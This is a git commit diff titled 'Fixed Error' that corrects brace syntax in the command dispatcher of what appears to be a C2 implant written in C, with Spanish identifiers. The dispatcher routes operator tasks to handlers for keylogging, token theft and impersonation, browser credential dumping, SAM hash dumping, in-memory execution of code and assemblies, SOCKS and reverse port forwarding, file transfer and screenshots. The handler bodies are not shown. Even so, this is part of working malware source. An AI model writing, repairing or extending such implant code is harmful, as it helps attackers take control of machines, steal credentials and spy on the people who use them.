Fixed Error

This commit is contained in:
Marmeus
2026-01-21 10:03:25 +00:00
parent 380a498980
commit bda69f74f9
@@ -115,63 +115,64 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
cerrarCallback(analizadorTarea);
} else if (tarea == SLEEP_CMD){
sleep(analizadorTarea);
}
#ifdef ENABLE_PS_CMD
} else if (tarea == PROCESS_CMD){
else if (tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
#endif
#ifdef ENABLE_CD_CMD
} else if (tarea == CD_CMD) {
else if (tarea == CD_CMD) {
CambiarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_LS_CMD
} else if (tarea == LS_CMD) {
else if (tarea == LS_CMD) {
ListarDirectorio(analizadorTarea);
}
#endif
#ifdef ENABLE_PWD_CMD
} else if (tarea == PWD_CMD) {
else if (tarea == PWD_CMD) {
ObtenerPath(analizadorTarea);
}
#endif
#ifdef ENABLE_CP_CMD
} else if (tarea == CP_CMD) {
else if (tarea == CP_CMD) {
CopiarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_MKDIR_CMD
} else if (tarea == MKDIR_CMD) {
else if (tarea == MKDIR_CMD) {
CrearRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_RM_CMD
} else if (tarea == RM_CMD) {
else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
}
#endif
#ifdef ENABLE_CAT_CMD
} else if (tarea == CAT_CMD) {
else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_DOWNLOAD_CMD
} else if (tarea == DOWNLOAD_CMD) {
else if (tarea == DOWNLOAD_CMD) {
DescargarFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_UPLOAD_CMD
} else if (tarea == UPLOAD_CMD) {
else if (tarea == UPLOAD_CMD) {
SubirFichero(analizadorTarea);
}
#endif
#ifdef ENABLE_SCREENSHOT_CMD
} else if (tarea == SCREENSHOT_CMD) {
else if (tarea == SCREENSHOT_CMD) {
CapturarPantalla(analizadorTarea);
}
#endif
#ifdef ENABLE_SOCKS_CMD
} else if (tarea == START_SOCKS_CMD) {
else if (tarea == START_SOCKS_CMD) {
_dbg("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
} else if (tarea == STOP_SOCKS_CMD) {
@@ -180,7 +181,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
#endif
#ifdef ENABLE_RPFWD_CMD
} else if (tarea == START_RPFWD_CMD) {
else if (tarea == START_RPFWD_CMD) {
_inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea);
_inf("Tarea %u: Llamando startRpfwdHandler()...", i+1);
startRpfwdHandler(analizadorTarea);
@@ -191,91 +192,91 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
}
#endif
#ifdef ENABLE_KEYLOG_START_CMD
} else if (tarea == KEYLOG_START_CMD) {
else if (tarea == KEYLOG_START_CMD) {
_inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea);
StartKeylogger(analizadorTarea);
_inf("===== KEYLOG_START_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KEYLOG_STOP_CMD
} else if (tarea == KEYLOG_STOP_CMD) {
else if (tarea == KEYLOG_STOP_CMD) {
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
StopKeylogger(analizadorTarea);
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_LIST_TOKENS_CMD
} else if (tarea == LIST_TOKENS_CMD) {
else if (tarea == LIST_TOKENS_CMD) {
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
ListarTokens(analizadorTarea);
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_STEAL_TOKEN_CMD
} else if (tarea == STEAL_TOKEN_CMD) {
else if (tarea == STEAL_TOKEN_CMD) {
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
RobarToken(analizadorTarea);
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_MAKE_TOKEN_CMD
} else if (tarea == MAKE_TOKEN_CMD) {
else if (tarea == MAKE_TOKEN_CMD) {
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
CrearToken(analizadorTarea);
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_REV2SELF_CMD
} else if (tarea == REV2SELF_CMD) {
else if (tarea == REV2SELF_CMD) {
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
RevertirToken(analizadorTarea);
_inf("===== REV2SELF_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_WHOAMI_CMD
} else if (tarea == WHOAMI_CMD) {
else if (tarea == WHOAMI_CMD) {
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
ObtenerUsuarioActual(analizadorTarea);
_inf("===== WHOAMI_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_KILL_CMD
} else if (tarea == KILL_CMD) {
else if (tarea == KILL_CMD) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_INFO_CMD
} else if (tarea == BROWSER_INFO_CMD) {
else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_BROWSER_DUMP_CMD
} else if (tarea == BROWSER_DUMP_CMD) {
else if (tarea == BROWSER_DUMP_CMD) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_SAMDUMP_CMD
} else if (tarea == SAMDUMP_CMD) {
else if (tarea == SAMDUMP_CMD) {
_inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea);
SamDumpHandler(analizadorTarea);
_inf("===== SAMDUMP_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_CMD
} else if (tarea == INLINE_EXECUTE_CMD) {
else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
}
#endif
#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here